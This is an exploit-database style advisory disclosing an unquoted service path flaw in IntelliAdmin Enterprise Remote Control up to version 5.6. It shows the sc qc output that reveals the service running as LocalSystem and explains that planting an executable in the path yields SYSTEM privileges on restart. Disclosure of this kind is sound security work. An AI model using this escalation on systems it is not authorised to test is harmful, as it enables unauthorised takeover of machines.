# Exploit Title: Unquoted Service Path Privilege Escalation - IntelliAdmin Enterprise Remote Control <= 5.6
# Date: 19/03/2017
# Exploit Author: Saeid Atabaki
# E-Mail: bytecod3r <at> gmail.com, saeid <at> Nsecurity.org
# Linkedin: https://www.linkedin.com/in/saeidatabaki
# Vendor Homepage: www.intelliadmin.com
# Version: <= 5.6
IntelliAdmin Server install itself as a service ("IntelliAdminERC") with an unquoted service path running with SYSTEM privileges. This could potentially allow an authorized but non-privileged local user to execute arbitrary code with elevated privileges on the system.
C:\Documents and Settings\Administrator>sc qc "IntelliAdminERC"
[SC] GetServiceConfig SUCCESS
SERVICE_NAME: IntelliAdminERC
TYPE : 110 WIN32_OWN_PROCESS (interactive)
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\Program Files\IntelliAdmin\Enterprise\Reflector\WebServer\ReflectorService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : IntelliAdmin Enterprise Remote Control Server
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
A successful attempt would require the local attacker must insert an executable file in the path of the service. Upon service restart or system reboot, the malicious code will be run with elevated privileges.